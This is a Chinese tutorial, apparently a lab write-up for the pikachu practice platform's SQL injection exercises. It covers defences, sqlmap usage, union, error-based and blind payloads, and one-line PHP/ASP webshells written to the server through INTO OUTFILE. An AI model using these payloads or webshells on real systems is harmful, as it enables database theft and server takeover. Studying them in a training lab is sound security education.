pikachu漏洞练习平台(SQL—Inject)
概述
SQL(Structured Query Language)注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。 这里需要满足2个条件:
1.用户可以控制自己的输入
2.输入得参数可以被拼接成sql语句执行。
危害:造成信息泄露,上传webshell【WebShell
是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp
等,也就是说WebShell 接受来自于Web 用的命令,然后在服务器端执行。它的分类包括大马和小马,需要配合中国菜刀或中国蚁剑使用】篡改网页信息等。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM
框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数据库知识补充
sql注入漏洞常见的防范措施
代码层面
- 对输入进行严格的转义和过滤;
- 使用预处理和参数化(Parameterized)
网络层面
- 通过
WAF设备
【 WAF称为web应用防火墙,是通过执行一系列针对HTTP,HTTPS
的安全策略,来专门对web应用,提供保护的一款产品,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙】启用防sql注入策略(或类似防护系统) - 云端防护(360网站卫士,阿里云盾等)
措施
-
PHP防范转义()+过滤
-
PDO预处理
进行两次交互,第一次是用参数化的占位符与数据库驱动交互预处理,防止拼接sql语句,第二次传参数。
WAF web防火墙会通过特征库识别payload
的恶意请求,
sql注入危害
1.攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露;
2.可以对数据库中的数据进行增加或删除操作,例如私自添加或删除管理员账号;
3.如果网站目录存在写入权限,可以在网站中写入木马,攻击者进而可以对网页进行纂改,发布一些违法信息等;
4.经过提权等步骤,服务器的最高权限被攻击者获取,攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
sql注入工具
1.Sqlmap
Sqlmap是一个自动SQL 注入工具,其可胜任执行一个广泛的数据库管理系统后端指纹,
检索DBMS数据库、usernames、表格、列、并列举整个DBMS信息。Sqlmap
提供转储数据库表以及MySQL、PostgreSQL、SQL Server
服务器下载或上传任何文件并执行任意代码的能力。
2.Havij
Havij是一款自动化的SQL注入工具,它能够帮助渗透测试人员发现和利用Web应用程序的SQL注入漏洞。Havij不仅能够自动挖掘可利用的SQL 查询,还能够识别后台数据库类型、检索数据的用户名和密码hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令,当然前提是有 一个可利用的SQL注入漏洞。Havij支持广泛的数据库系统,如 MsSQL, MySQL, MSAccess and Oracle
。 Havij支持参数配置以躲避IDS
,支持代理,后台登陆地址扫描。
3.The Mole
The Mole是一款开源的自动化SQL注入工具,其可绕过IPS/IDS
(入侵防御系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用。The Mole可以使用union注入技术和基于逻辑查询的注入技术。The Mole
攻击范围包括SQL Server、MySQL、Postgres
和Oracle
数据库。
sqlmap工具使用
sqlmap经典用法
第一步:-u "xxx" --cookie="yyy"
//带上cookie对url进行注入探测
第二步:-u "xxx" --cookie="yyy" -current-db
//对数据库名紧进行获取权限
第三步:-u "xxx" --cookie="yyy" -D pikachu --tables
//对数据库的表名进行枚举
第四步:-u "xxx" --cookie="yyy" -D pikachu-T users --columns
//对dvwa库里名为users的表名进行枚举
具体操作方法
- 在基于boolian盲注的页面进行测试,我们输入一个用户名,通过url发现该请求为get请求。
- 复制url,在sqlmap中进行漏洞扫描。若为linux系统,则输入
sqlmap.py -u “http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2”
攻击流程
一、注入点探测
1.自动方式:使用web漏洞扫描工具,自动进行注入点发现
2.手动方式:手工构造sql inject测试语句进行注入点发现
二、信息获取,通过注入点取期望得到的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
三、获取操作系统权限
通过数据库执行shell
【于安全、复杂、繁琐等原因,用户不能直接接触内核(也没有必要),需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核。如此一来,用户和内核之间就多了一层“代理”,这层“代理”既简化了用户的操作,也保护了内核。用户界面和命令行就是这个另外开发的程序,就是这层“代理”。在Linux操作系统
下,这个命令行程序叫做 Shell】,上传木马。
常见注入点类型
数字型:user_id=$id
字符型:user_id=' $id'
搜索型:text LIKE '%{ $_GET_['search']}%' ''
数字型注入(post:使用抓包工具修改post数据部分提交注入)
首先在数据库中查询相关数据
接着查看源码来研究数字型注入的原理,我们可以发现输入一个id后未作任何处理,直接将id
赋值给$id,
意味着直接拼接到sql后,构造了一个sql语句,连接数据库,执行sql语句。
方法
1.使用burp抓包,将拦截到的一个post
请求的数据包发送至repeater
;
2.在id
后面输入一个payload
(sql注入或xss输入的语句即为payload)语句,输入or 1=1
,点击send
,查看返回结果,点击render
,查看返回页面,发现可以显示所有用户的信息。
3.说明此处存在数字型sql注入的漏洞,我们可以通过自己拼接sql,数据库执行,即可得到我们预期的结果。
字符型注入(get:使用url提交注入数据)
首先在数据库中查询数据
查看源码
方法
1.我们可以发现用户名在url中被提交,即为get请求;
2.如果我们输入正确的用户名kobe
,采用上一题的方法,后面添加or 1=1
,我们发现显示用户名不正确,是因为字符串要求用单引号,而后面添加的or 1=1
则会当成用户名的一部分,就会显示用户名不正确。
3.正确的思路我们应该构造一个合法的闭合sql语句与数据库连接,显然这个sql语句不合法。因此,我们可以在kobe
后面添加一个单引号使这个字符串闭合,同时在最后的单引号前加数据库的注释符号#,使后面的单引号不发挥作用,即正确的payload为’kobe' or 1=1#
’。我们在用户名或将payload使用url编码输入正确的payload即可。
搜索型注入
首先在数据库中查询数据(*代表查询表格中所有数据)
查看源码
方法
1.查看源码我们可以发现搜索型注入与上面两者的区别为它的sql语句
左右两侧由单引号和百分号构成,因此,我们需要构造一个合法且闭合的payload
来连接数据库。
2.采用字符型注入的逻辑,正确的payload即为’%xxx%' or 1=1 #
%’。
xx型注入
查看源码,我们发现username闭合方式为(’’),因此,我们需要构造闭合的sql语句(’xx')or 1=1 #
’),即可成功连接数据库。
核心思想
变量的类型多种多样,我们需要猜测后台变量的类型或者通过查看源码得到变量的类型,并且构造闭合的sql语句,采用拼接的方式,进行payload测试。但一般情况下我们不会看到后台的源码,所以还是需要通过经验来猜测变量类型。
sql注入漏洞手动测试
1.基于union联合查询(通过联合查询来查询指定数据)的信息获取。
用法举例:
select username,password from user where id=1 Union select 字段1,字段2 from 表名
联合查询的字段数需和主查询一致!
2.确认字段的方法:order by x
//对查询的结果进行排序,默认数字0-9,字母a-z。
思路:对查询的结果使用order by
按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错查询结果的列数,从而确定主查询的字段数。
MYSQL知识补充
一、获取基础信息的方法:
Select version();// 取得数据库版本
Select database();//取得当前数据库
Select user();//取得当前登陆的用户
二、information_schema
在MYSQL
中,自带的information_schema
这个表里存放了大量的重要信息,如果存在注入点的话,可以尝试对该数据库进行访问,从而获取更多的信息。比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息,show databases
的结果取之此表;
TABLES表:提供了关于数据库中表的信息(包括视图),详细表述了某个表属于scheme
,表类型,表引擎,创建时间等信息,show tables from scheme
结果取之此表。
COLUMNS表:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息,是show columns from schemaname
的结果取之此表。
“insert/updata注入”
方法:
1.insert意为我们在前端注册时输入的信息,在后台通过insert操作插入到数据库中。前端在接受我们输入信息的时候没有进行防sql注入的操作,导致我们前端输入直接拼接到后端insert相关的操作,然后形成了insert注入漏洞。
2.与上面的方法一致,只需要构成合法的sql语句 ,即可将信息插入到数据库中。
3. 基于insert、update下的报错
4. updata
注入同理,在修改用户个人信息的页面加入payload
语句,即可出现像insert
一样的报错情况。
“delete注入”
1.查看源码
2. 基于delete下的报错:
- insert updata dalete三者的相同之处在于通过报错的方式得到我们想要的数据,例如上面的数据库。
基于报错的信息获取
- insert/update
- delete
- extractvalue()
- floor()
extractvalue()函数
-
作用:从目标
xml
【XML 是可扩展标记语言,是一种很像HTML的标记语言。XML 的设计宗旨是传输数据,而不是显示数据。XML 标签没有被预定义。您需要自行定义标签。】中返回包含所查询值的字符串; -
语法:
ExtractValue(XML_document,xpath_string)
第一个参数:XML_document
是string
格式,为XML文档对象的名称,文中为Doc;
第二个参数:xpath_string(xpath格式的字符串)
xpath定位必须是有效的,否则会发生错误。 -
基于.extractvalue()的报错:
kobe’ and extractvalue(0,concat(0x7e,version())#
——通过报错拿到数据库版本
floor()函数
- 基于floor()的报错:
kobe' and (select 2 from(select count(*),concat(version(),floor (rand(0)*2)x from information_schema.tables group by x)a)#
"http header"注入
定义:
有时候,后台开发人员为了验证客户端信息(如常用的cookie
验证)或者通过http header
头信息获取客户端的一些信息(比如useragent、accept
字段等),会对客户端的http header
信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header
的sql注入漏洞。
方法:
- 点击提示,登录正确的账户以及密码;
- 通过burp抓包在
user-agent
字段中插入合法的payload,即可成功进行测试。 - 客户端跳转页面时,后端会将cookie调至前端进行验证,则将
cookie
通过一个合法的payload
语句将cookie
拼接到数据库中,即可形成一个sql注入漏洞。我们可以在burp中通过报错的方式来测试cookie
的sql1注入漏洞。
基于boolian的盲注
定义
在有些情况下,后台使用了错误消息屏蔽方法(比如@屏蔽了报错),此时无法在根据报错信息来进行注入的判断,这种情况下的注入称为”盲注“。根据表现形式不同,盲注又分为based boolian
和based time
两种类型。
主要表现症状
- 没有报错信息
- 不管是正确的输入还是错误的输入,都只显示两种结果,0或者1;
- 在正确的输入下,输入
and1=1/and1=2
发现可以判断。
方法
- 首先尝试输入一个闭合语句
payload kobe' or 1=1#
,点击查询发现用户名不存在; - 再尝试输入
payload kobe' and 1=1#
,点击查询可发现打印出了kobe对应的信息,出现了正确的输出;
- 我们发现前端输出的信息特别少,这时我们可以在数据库中进行相应操作,得到一个盲注的思路:只能通过前端显示1 或者 0来判断真假从而判断分析我们输入的信息,通过比较我们截取的字符,提交比较的
payload
,通过返回结果来判断分析。
- 我们可以输入
kobe' and ascii(substr(database(),1,1))>113#
,如果这个payload为真,则会输出kobe对应的数据,我们发现用户名不存在;依次类推,若输入kobe' and ascii(substr(database(),1,1))=112#
时,我们可以看见输出了kobe对应的实际信息。这是我们提前在数据库中进行操作知道对应数据库的第一个字符的ascii码,但在实际过程中进行盲注测试我们需要一个一个试。
基于时间的盲注
定义:
如果说基于boolian
的盲注在页面上还可以看到0 or 1
的回显,那么基于时间的盲注完全就啥看不到了。但是还有一个“时间”的条件,通过特定的输入,判断后台执行的时间,从而确定注入。常用的 test payload:kobe‘ and sleep(5)#
方法:
- 按F12键打开开发者工具,点击网络;
- 输入
kobe‘ and sleep(5)#
,点击查询,使页面跳转暂停五秒,然后再在开发者工具中点击我们这条payload发起的请求对应的时间线,查看响应时间为五秒钟,即执行了这条payload语句,说明存在sql注入漏洞,而且是基于时间的盲注。 - 大致思路与上一种情况相似,只不过这种情况是通过前端返回真或假的状态来判断后端
payload
执行情况,通过时间延迟进行判断。 - 基于时间的延迟:
kobe' and if((substr(database(),1,1))='p',sleep(5),null()#
,若数据库的第一个字符为a,则会暂停五秒钟,若快速返回一个结果,则第一个字符不是a。
通过sql漏洞进行远程控制
一句话木马
它是一种短小而精悍的木马客户端,隐藏性好且功能强大。
PHP:<?php@eval($_POST['chopper'];?>
ASP:<%eval request("chopper")%>
ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
通过sql注入漏洞写入恶意代码
select 1,2 into outfile "/var/www/html/1.txt"
into outfile
将select
的结果写入到指定目录的1.txt
中,在一些没有回显的注入中可以使用into outfile
将结果写入到指定文件,然后访问获取。
前提条件:
- 需要知道远程目录;(作为测试者不知道后端网络的目录)
- 需要远程目录有写权限;
- 需要数据库开启了
secure_file_priv
获取操作系统的权限:
kobe‘ union select"<?php @eval($_GET['test'])?>",2 into outfile '/var/www/html/1.php"#
sql暴力破解在sql注入漏洞中的应用
暴力破解表名和列名称
kobe‘ and exists(select *from aa)#
aa为表名,如果这个表名不存在,则这个payload的逻辑为假,存在则逻辑为真。通过burp抓包,将抓到的数据包发送到intruder,对表名aa进行爆破。
kobe‘ and exists(select id from users)#
同样的方法对列名称 id进行爆破。